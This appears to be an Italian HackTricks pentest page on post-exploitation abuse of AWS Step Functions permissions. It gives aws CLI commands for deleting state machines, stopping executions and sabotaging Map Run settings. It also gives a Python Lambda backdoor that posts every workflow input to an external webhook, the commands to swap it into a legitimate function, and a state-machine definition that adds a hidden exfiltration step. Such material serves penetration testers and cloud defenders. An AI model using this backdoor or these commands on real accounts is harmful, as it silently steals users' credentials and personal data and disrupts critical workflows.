# AWS - Step Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
Per ulteriori informazioni su questo servizio AWS, controlla:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### `states:RevealSecrets`
Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare il livello di ispezione su TRACE e il parametro revealSecrets su true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente le macchine a stati, le loro versioni e alias. Questo può interrompere flussi di lavoro critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le macchine a stati interessate. Inoltre, consentirebbe a un attaccante di coprire le tracce utilizzate, interrompere le indagini forensi e potenzialmente compromettere le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
> [!NOTE]
>
> - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati.
> - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias.
> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
```
- **Impatto Potenziale**: Interruzione dei flussi di lavoro critici, perdita di dati e inattività operativa.
### `states:UpdateMapRun`
Un attaccante con questo permesso sarebbe in grado di manipolare la configurazione di fallimento del Map Run e l'impostazione parallela, potendo aumentare o diminuire il numero massimo di esecuzioni di flussi di lavoro secondari consentiti, influenzando direttamente le prestazioni del servizio. Inoltre, un attaccante potrebbe manomettere la percentuale e il conteggio di fallimento tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero map run fallirebbe, influenzando direttamente l'esecuzione della macchina a stati e potenzialmente interrompendo flussi di lavoro critici.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
- **Impatto Potenziale**: Degradazione delle prestazioni e interruzione dei flussi di lavoro critici.
### `states:StopExecution`
Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni aziendali bloccate e potenziale corruzione dei dati.
> [!WARNING]
> Questa azione non è supportata da **express state machines**.
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
- **Impatto Potenziale**: Interruzione dei flussi di lavoro in corso, inattività operativa e potenziale corruzione dei dati.
### `states:TagResource`, `states:UntagResource`
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
```
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate su tag.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
Un attaccante che compromette un utente o un ruolo con i seguenti permessi:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...può condurre un **attacco post-exploitation ad alto impatto e furtivo** combinando il backdooring di Lambda con la manipolazione della logica di Step Function.
Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare flussi di lavoro che elaborano input sensibili**, come credenziali, token o PII.
Esempio di invocazione della vittima:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Se la Step Function è configurata per invocare un Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
---
#### Aggiornato la funzione lambda
L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site//exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Aggiungi uno Stato Maligno alla Funzione di Passaggio
In alternativa, l'attaccante può iniettare uno **stato di esfiltrazione** all'inizio del flusso di lavoro aggiornando la definizione della Funzione di Passaggio.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
L'attaccante può anche essere più furtivo aggiornando la definizione dello stato a qualcosa del genere
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
dove la vittima non si accorgerà della differenza
---
### Configurazione della Vittima (Contesto per l'Exploit)
- Una Step Function (`LegitStateMachine`) viene utilizzata per elaborare input sensibili degli utenti.
- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
---
**Impatto Potenziale**:
- Esfiltrazione silenziosa di dati sensibili, inclusi segreti, credenziali, chiavi API e PII.
- Nessun errore o fallimento visibile nell'esecuzione del workflow.
- Difficile da rilevare senza auditare il codice Lambda o le tracce di esecuzione.
- Abilita una persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
{{#include ../../../banners/hacktricks-training.md}}